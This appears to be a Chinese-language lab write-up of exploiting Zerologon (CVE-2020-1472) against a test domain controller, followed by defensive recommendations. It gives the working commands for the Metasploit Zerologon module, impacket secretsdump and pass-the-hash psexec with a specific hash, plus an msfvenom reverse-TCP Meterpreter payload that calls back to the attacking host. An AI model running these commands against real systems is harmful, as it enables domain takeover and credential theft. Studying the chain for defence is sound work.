CVE-2020-1472 Zerologon漏洞完整利用链分析

本文详细分析了CVE-2020-1472 Zerologon漏洞的完整利用过程,包括域控制器发现、服务识别、漏洞利用、凭证提取、横向移动和后渗透控制,展示了从初始访问到完全控制域控制器的完整攻击链。

域控制器利用与Metasploit+Impacket实战

场景概述

在封闭实验室网络中提供两台机器:一台是名为DC10的Windows域控制器,托管核心AD服务;另一台是位于同一服务器子网的Kali工作站。DC暴露典型的域服务(如LDAP、Kerberos、SMB),可能存在已知漏洞。Kali主机用于侦察、利用、凭证访问、横向移动和后渗透验证。

目标:识别DC、确认域详情、使用适用技术获得初始立足点、提取凭证材料以实现管理访问,并通过远程shell和托管代理会话展示对DC的控制。

DC: 10.1.16.1 Kali: 10.1.16.66

关键发现

  • 成功利用关键漏洞:CVE-2020-1472 Zerologon,将DC机器账户密码重置为空
  • 凭证泄露:从DC提取NTLM哈希,揭示可用于传递哈希攻击的管理员凭证
  • 展示完整域控制:使用提取的哈希获得DC10上的SYSTEM shell,运行稳定的Meterpreter反向shell
  • 暴露服务:LDAP、Kerberos、SMB及相关RPC服务可从攻击主机访问
  • 攻击面风险:DC接受远程操作,允许机器账户操纵和远程载荷执行

1) 发现与范围确定

使用支持数据库的msfconsole,在MSF内运行nmap扫描,导入结果并优化主机和服务以确认DC10暴露。

  • 启动带DB支持的msfconsole并确认数据库连接
  • 从msfconsole运行子网nmap扫描并将结果导入MSF DB
  • 清理主机表以移除Kali IP,审查服务以识别可能的DC指标
  • 使用MSF的SYN端口扫描器配合约束端口范围和全局线程优化服务数据
  • 对Windows主机进行SMB指纹识别以丰富OS详情
  • 确认10.1.16.1上的LDAP和Kerberos服务,通过LDAP查询验证域名
  • 决策:将10.1.16.1作为利用和凭证访问的DC焦点

2) 服务丰富化与DC确认

在MSF中执行SYN端口扫描,进行SMB指纹识别,确认10.1.16.1上的LDAP和Kerberos。查询LDAP以获取域名。

SMB版本检查

  • 使用msfconsole中的SMB版本模块:auxiliary/scanner/smb/smb_version
  • 从主机表设置目标:hosts -R
  • 获取SMB方言和OS详情
  • 结果:10.1.16.1显示Windows Server信息,与作为域控制器的身份一致

LDAP查询

  • 使用LDAP查询模块:auxiliary/gather/ldap_query
  • 设置rhosts 10.1.16.1直接攻击DC10
  • 运行以提取基本目录信息
  • 结果:确认域名为"structureality",DC上的LDAP正在响应

3) Zerologon利用(初始访问)

运行auxiliary/admin/dcerpc/cve_2020_1472_zerologon对抗DC10,将机器账户密码重置为空。

4) 凭证访问(secretsdump)

使用Impacket从DC转储NTLM哈希,识别用于传递哈希攻击的管理员凭证。

impacket-secretsdump -just-dc-ntlm structureality/dc10\$@10.1.16.1

5) 横向移动(psexec)

使用传递哈希与psexec获得DC10上的SYSTEM级shell,并验证主机身份。

impacket-psexec structureality/administrator@10.1.16.1 -hashes aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9

可以看到,已经进入C:\Windows\system32

6) 后渗透(Meterpreter)

生成reverse_tcp meterpreter载荷,通过HTTP托管,下载到DC10,启动处理器,执行载荷以打开Meterpreter会话。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.16.66 LPORT=4567 -f exe -o secretfile.exe

启动基本Web服务器以允许目标系统轻松访问此meterpreter可执行文件:

python3 -m http.server 8080

在目标机器上执行meterpreter可执行文件(secret.exe)

可以看到,现在已在目标DC10和Kali系统之间建立了反向shell连接。这仅通过针对易受攻击目标的外部/远程利用完成。

虽然Kali系统与DC10目标位于同一服务器子网中,但如果目标系统暴露于开放互联网,这些类型的攻击可以通过互联网进行。

7) 关键成果

  • 确认DC10为structureality的域控制器
  • Zerologon成功,启用凭证提取
  • 使用管理员哈希通过传递哈希获得SYSTEM shell
  • 在DC10上确认稳定的Meterpreter会话

证据

  • MSF DB和nmap子网扫描日志确认主机/服务发现
  • SMB/LDAP/Kerberos枚举输出确认DC服务和域名structureality
  • Zerologon模块输出显示机器账户密码重置为空
  • 带提取NTLM哈希的secretsdump输出
  • 展示C:\Windows\System32的psexec会话日志
  • 确认远程控制的msfvenom和Meterpreter会话截图

执行操作(摘要)

  • 发现与范围确定:从msfconsole进行nmap扫描;使用MSF DB管理主机/服务;确认DC10为目标
  • 服务丰富化:SMB指纹识别、LDAP查询、Kerberos确认以验证域控制器角色
  • 初始访问:运行auxiliary/admin/dcerpc/cve_2020_1472_zerologon重置DC机器账户密码
  • 凭证访问:使用impacket-secretsdump从DC提取NTLM哈希
  • 横向移动:使用impacket-psexec和管理员NTLM哈希→SYSTEM shell
  • 后渗透:构建并托管meterpreter载荷,在DC上下载并执行,确认持久会话

对网络所有者的建议

  • 立即修补Netlogon漏洞并通过扫描CVE-2020-1472暴露进行验证
  • 强制SMB签名并限制DC SMB和RPC仅对受信任的管理子网暴露
  • 实施分层管理并拒绝来自非管理管理主机的远程服务执行
  • 禁用或严格控制NTLM,优先使用Kerberos,监控传递哈希模式
  • 出口控制:限制服务器的出站连接,仅允许列表所需目的地和端口
  • 端点保护:阻止未签名二进制文件并对PowerShell应用AMSI集成扫描
  • 监控:对机器账户密码重置、异常DRSUAPI访问和意外处理器类监听器发出警报
  • 定期轮换特权凭证并使用LAPS或PAM解决方案降低哈希重用风险
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计